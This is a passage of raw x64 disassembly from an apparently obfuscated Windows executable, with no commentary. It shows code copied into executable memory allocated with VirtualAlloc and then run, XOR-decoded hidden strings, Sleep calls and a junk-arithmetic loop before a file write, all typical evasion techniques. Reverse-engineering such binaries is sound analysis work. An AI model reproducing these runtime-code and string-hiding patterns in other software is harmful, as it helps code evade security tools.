movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400224e0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140040c00]
mov qword [r15 + rax*8 + 0x418b0], r12
mov qword [r15 + rax*8 + 0x40280], r8
inc rax
mov qword [0x140040c00], rax
lea rdx, [rsp + 0x70]
lea rcx, [0x1400015e0]
call r8
nop
mov rcx, qword [rsp + 0x170]
xor rcx, qword [rsp + 0x178]
mov qword [rsp + 0x170], rcx
mov rax, qword [rsp + 0x180]
mov qword [rax], rcx
mov dword [rsp + 0x148], 0x5dc
lea rcx, [rsp + 0x170]
call fcn.140002520
lea rdx, [rsp + 0x16d8]
lea rcx, [rsp + 0x170]
call fcn.140002530
nop
mov ecx, esi
mov rax, qword [0x140041260]
lea rbx, [0x1400275b0]
test rax, rax
je 0x140022631
mov rdx, rsi
cmp rax, rbx
je 0x140022620
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x41260]
test rax, rax
jne 0x140022608
jmp 0x140022631
mov r8, qword [r15 + rdx*8 + 0x42ba0]
test r8, r8
jne 0x14002271f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14002265a
mov r8, rsi
jmp 0x1400226fe
mov rax, rbx
mov rcx, r8
mov rdx, r13
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140022670
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1400418a0]
mov qword [r15 + rax*8 + 0x41260], rbx
mov qword [r15 + rax*8 + 0x42ba0], r8
inc rax
mov qword [0x1400418a0], rax
lea rdx, [rsp + 0x148]
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
call r8
nop
mov rcx, qword [rsp + 0x170]
xor rcx, qword [rsp + 0x178]
mov qword [rsp + 0x170], rcx
mov rax, qword [rsp + 0x180]
mov qword [rax], rcx
lea rcx, [rsp + 0x170]
call fcn.140002520
lea rdx, [rsp + 0x16d8]
lea rcx, [rsp + 0x170]
call fcn.140002530
nop
mov ecx, esi
mov rax, qword [0x1400408e0]
lea rbx, [0x140027740]
test rax, rax
je 0x1400227b9
mov rdx, rsi
cmp rax, rbx
je 0x1400227a8
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x408e0]
test rax, rax
jne 0x140022790
jmp 0x1400227b9
mov r8, qword [r15 + rdx*8 + 0x42ec0]
test r8, r8
jne 0x14002289f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400227e2
mov r8, rsi
jmp 0x14002287e
mov rax, rbx
mov rcx, r8
mov rdx, r13
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400227f0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140043b60]
mov qword [r15 + rax*8 + 0x408e0], rbx
mov qword [r15 + rax*8 + 0x42ec0], r8
inc rax
mov qword [0x140043b60], rax
lea rcx, [0x140009440]
call r8
nop
mov rcx, qword [rsp + 0x170]
xor rcx, qword [rsp + 0x178]
mov qword [rsp + 0x170], rcx
mov rax, qword [rsp + 0x180]
mov qword [rax], rcx
movups xmm0, xmmword [0x140035cc0]
movups xmmword [rsp + 0x1b0], xmm0
movsd xmm0, qword [0x140035cd0]
movsd qword [rsp + 0x1c0], xmm0
mov eax, dword [0x140035cd8]
mov dword [rsp + 0x1c8], eax
movzx eax, byte [0x140035cdc]
mov byte [rsp + 0x1cc], al
mov r9d, esi
cmp edi, 2
jl 0x140022abf
movdqa xmm0, xmmword [0x140037370]
movdqa xmmword [rsp + 0x160], xmm0
lea rcx, [rsp + 0x1b4]
mov edx, dword [rsp + 0x160]
nop dword [rax]
nop dword [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm13
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm12
pmuldq xmm1, xmm12
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm14
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm13
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm12
pmuldq xmm1, xmm12
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm14
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x18
jl 0x140022940
cmp r9d, 0x1d
jge 0x140022b1c
movsxd rax, r9d
lea r10, [rsp + 0x1b0]
add r10, rax
nop dword [rax]
mov eax, 0x44d72045
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x77
mov eax, 0xb37072d7
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub cl, r8b
lea eax, [r9 + 0x29]
add al, al
add cl, al
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x1d
jl 0x140022ad0
lea rax, [rsp + 0x1b0]
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0x170]
call fcn.140002520
lea rdx, [rsp + 0x16d8]
lea rcx, [rsp + 0x170]
call fcn.140002530
nop
mov ecx, esi
mov rax, qword [0x1400418b0]
test rax, rax
je 0x140022b89
mov rdx, rsi
nop dword [rax]
cmp rax, r12
je 0x140022b78
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x418b0]
test rax, rax
jne 0x140022b60
jmp 0x140022b89
mov r8, qword [r15 + rdx*8 + 0x40280]
test r8, r8
jne 0x140022c6f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140022bb2
mov r8, rsi
jmp 0x140022c4e
mov rax, r12
mov rcx, r8
mov rdx, r13
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140022bc0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140040c00]
mov qword [r15 + rax*8 + 0x418b0], r12
mov qword [r15 + rax*8 + 0x40280], r8
inc rax
mov qword [0x140040c00], rax
lea rdx, [rsp + 0x70]
lea rcx, [0x1400015e0]
call r8
nop
mov rcx, qword [rsp + 0x170]
xor rcx, qword [rsp + 0x178]
mov qword [rsp + 0x170], rcx
mov rax, qword [rsp + 0x180]
mov qword [rax], rcx
mov dword [rsp + 0x148], 0x1388
lea rcx, [rsp + 0x170]
call fcn.140002520
lea rdx, [rsp + 0x16d8]
lea rcx, [rsp + 0x170]
call fcn.140002530
nop
mov ecx, esi
mov rax, qword [0x140041260]
lea rbx, [0x1400275b0]
test rax, rax
je 0x140022d11
mov rdx, rsi
cmp rax, rbx
je 0x140022d00
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x41260]
test rax, rax
jne 0x140022ce8
jmp 0x140022d11
mov r8, qword [r15 + rdx*8 + 0x42ba0]
test r8, r8
jne 0x140022dff
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140022d3a
mov r8, rsi
jmp 0x140022dde
mov rax, rbx
mov rcx, r8
mov rdx, r13
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140022d50
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1400418a0]
mov qword [r15 + rax*8 + 0x41260], rbx
mov qword [r15 + rax*8 + 0x42ba0], r8
inc rax
mov qword [0x1400418a0], rax
lea rdx, [rsp + 0x148]
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
call r8
nop
mov rcx, qword [rsp + 0x170]
xor rcx, qword [rsp + 0x178]
mov qword [rsp + 0x170], rcx
mov rax, qword [rsp + 0x180]
mov qword [rax], rcx
movups xmm0, xmmword [0x140035ff0]
movups xmmword [rsp + 0x90], xmm0
movups xmm1, xmmword [0x140036000]
movups xmmword [rsp + 0xa0], xmm1
movsd xmm0, qword [0x140036010]
movsd qword [rsp + 0xb0], xmm0
movzx eax, word [0x140036018]
mov word [rsp + 0xb8], ax
mov r9d, esi
cmp edi, 2
jl 0x140023023
movdqa xmm7, xmmword [0x140037340]
lea rcx, [rsp + 0x90]
nop
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm13
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm4, xmm0, 0xdd
psrad xmm4, 5
pmuldq xmm2, xmm12
pmuldq xmm1, xmm12
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1400373a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm15
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm7
paddw xmm3, xmm0
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm13
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm4, xmm0, 0xdd
psrad xmm4, 5
pmuldq xmm2, xmm12
pmuldq xmm1, xmm12
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1400373a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm15
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm7
paddw xmm3, xmm0
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r9d, 8
lea rcx, [rcx + 0x10]
cmp r9d, 0x10
jl 0x140022e90
cmp r9d, 0x15
jge 0x140023091
movsxd rax, r9d
lea r10, [rsp + 0x90]
lea r10, [r10 + rax*2]
mov r11d, 0xff89
nop dword [rax + rax]
mov eax, 0x4c8f8d29
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul r8d, eax, 0x6b
mov eax, 0x44d72045
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx ecx, dx
imul ecx, r11d
sub cx, r8w
lea eax, [r9 + 0x29]
add ax, ax
add cx, ax
xor word [r10], cx
inc r9d
lea r10, [r10 + 2]
cmp r9d, 0x15
jl 0x140023040
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
lea rcx, [rsp + 0x90]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r14, rax
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rsp + 0x280]
call fcn.1400250a0
mov dword [rsp + 0x148], 0xffffff9c
mov dword [rsp + 0x14c], 0x64
movups xmmword [rsp + 0x1d0], xmm9
mov dword [rsp + 0x40], esi
movsd qword [rsp + 0x50], xmm10
lea rcx, [rsp + 0x190]
call fcn.140001650
mov qword [rsp + 0x70], 0x64
lea r8, [rsp + 0x70]
lea rdx, [rsp + 0x190]
lea rcx, [rsp + 0x160]
call fcn.140026e80
lea rcx, [rsp + 0x1b0]
call fcn.140002520
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x1b0], xmm1
mov qword [rsp + 0x1c0], rsi
lea rcx, [rsp + 0x60]
call fcn.140026ea0
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x1b0]
call fcn.140024fa0
nop
lea rcx, [rsp + 0x48]
call fcn.140024f60
nop
lea rcx, [rsp + 0x60]
call fcn.140024f60
lea rcx, [rsp + 0x70]
call fcn.140026ef0
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x1b0]
call fcn.140024fa0
nop
lea rcx, [rsp + 0x48]
call fcn.140024f60
nop
lea rcx, [rsp + 0x70]
call fcn.140024f60
lea rcx, [rsp + 0x190]
call fcn.140026f20
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x1b0]
call fcn.140024fa0
nop
lea rcx, [rsp + 0x48]
call fcn.140024f60
nop
lea rcx, [rsp + 0x190]
call fcn.140024f60
lea rcx, [rsp + 0x70]
call fcn.140026f50
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x1b0]
call fcn.140024fa0
nop
lea rcx, [rsp + 0x48]
call fcn.140024f60
nop
lea rcx, [rsp + 0x70]
call fcn.140024f60
lea rcx, [rsp + 0x190]
call fcn.140026f80
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x1b0]
call fcn.140024fa0
nop
lea rcx, [rsp + 0x48]
call fcn.140024f60
nop
lea rcx, [rsp + 0x190]
call fcn.140024f60
lea rcx, [rsp + 0x70]
call fcn.140026fb0
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x1b0]
call fcn.140024fa0
nop
lea rcx, [rsp + 0x48]
call fcn.140024f60
nop
lea rcx, [rsp + 0x70]
call fcn.140024f60
nop dword [rax + rax]
lea rcx, [rsp + 0x70]
call fcn.140001650
mov rcx, rax
lea rdx, [rsp + 0x160]
call fcn.1400024c0
test al, al
jns 0x14002362a
cmp esi, 0x186a0
jge 0x140023623
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x148]
call fcn.140026dd0
mov rbx, qword [rsp + 0x1b8]
sub rbx, qword [rsp + 0x1b0]
sar rbx, 3
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x148]
call fcn.140026dd0
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rsp + 0x1b0]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x148]
call fcn.140026dd0
mov r8d, eax
mov edx, dword [rsp + 0x40]
mov rcx, rdi
call rbx
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x1d0]
call fcn.140026fe0
movaps xmm5, xmm0
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x1d0]
call fcn.140026fe0
movaps xmm1, xmm5
call fcn.140002370
movsd xmm1, qword [rsp + 0x50]
addsd xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x1d0]
call fcn.140026fe0
movaps xmm1, xmm8
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x50]
subsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x1d0]
call fcn.140026fe0
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
mulsd xmm0, qword [rsp + 0x50]
movsd qword [rsp + 0x50], xmm0
lea rdx, [0x14003597c]
lea rcx, [rsp + 0x220]
call fcn.140026080
nop
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x220]
call fcn.1400022e0
lea rcx, [rsp + 0x170]
call fcn.140002520
lea rcx, [rsp + 0x170]
call fcn.140025170
nop
lea rax, [rsp + 0x148]
mov qword [rsp + 0x190], rax
lea rax, [rsp + 0x280]
mov qword [rsp + 0x198], rax
movaps xmm0, xmmword [rsp + 0x190]
movdqa xmmword [rsp + 0x60], xmm0
lea r8, [rsp + 0x60]
mov rdx, qword [rsp + 0x178]
mov rcx, qword [rsp + 0x170]
call fcn.140027070
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x170]
call fcn.1400023f0
mov rdx, qword [rsp + 0x178]
mov rcx, qword [rsp + 0x170]
call fcn.1400270d0
mov ecx, dword [rsp + 0x40]
add ecx, eax
mov dword [rsp + 0x40], ecx
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x148]
call fcn.140026dd0
mov ebx, eax
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x148]
call fcn.140026dd0
mov r8d, ebx
mov edx, eax
call fcn.1400024f0
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x148]
test al, 1
jne 0x140023541
call fcn.140026dd0
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x140023550
call fcn.140026dd0
mov ecx, dword [rsp + 0x40]
sub ecx, eax
mov dword [rsp + 0x40], ecx
mov edi, 5
xor ebx, ebx
nop word [rax + rax]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x148]
call fcn.140026dd0
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x1d0]
call fcn.140026fe0
movsd xmm5, qword [rsp + 0x50]
addsd xmm0, xmm5
movsd qword [rsp + 0x50], xmm0
lea rdx, [rsp + 0x280]
test bl, 1
jne 0x1400235cb
lea rcx, [rsp + 0x148]
call fcn.140026dd0
mov ecx, dword [rsp + 0x40]
imul eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x1400235ec
movsd xmm5, qword [rsp + 0x50]
lea rcx, [rsp + 0x1d0]
call fcn.140026fe0
addsd xmm0, xmm6
divsd xmm5, xmm0
movsd qword [rsp + 0x50], xmm5
inc ebx
cmp ebx, 5
jl 0x140023560
sub rdi, 1
jne 0x140023555
lea rcx, [rsp + 0x170]
call fcn.140025110
nop
lea rcx, [rsp + 0x220]
call fcn.140026020
inc esi
jmp 0x1400232f2
xor esi, esi
jmp 0x1400232d0
mov eax, dword [rsp + 0x40]
lea rcx, [rsp + 0x1b0]
call fcn.140024fd0
lea rcx, [rsp + 0x200]
call fcn.140025e40
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140023650
lea rcx, [rsp + 0x200]
call fcn.140025e40
mov qword [rsp + 0x20], rsi
lea r9, [rsp + 0x150]
mov rdx, rax
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov edi, dword [0x14003f090]
test eax, eax
jne 0x140023a26
movsd xmm0, qword [0x140035e58]
movsd qword [rsp + 0x70], xmm0
mov eax, dword [0x140035e60]
mov dword [rsp + 0x78], eax
cmp byte [0x140035e63], 0
je 0x14002389c
mov r9d, esi
cmp edi, 2
jl 0x140023837
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
movdqa xmm1, xmm13
punpckhdq xmm1, xmm13
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm12
pmuldq xmm1, xmm12
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x1400373a0]
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm14
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
movdqa xmm1, xmm13
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
mov eax, dword [0x140037370]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140035e58]
xorps xmm2, xmm0
movd dword [rsp + 0x70], xmm2
movdqa xmm5, xmmword [0x140037310]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm12
pmuldq xmm1, xmm12
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x1400373a0]
movdqa xmm2, xmm5
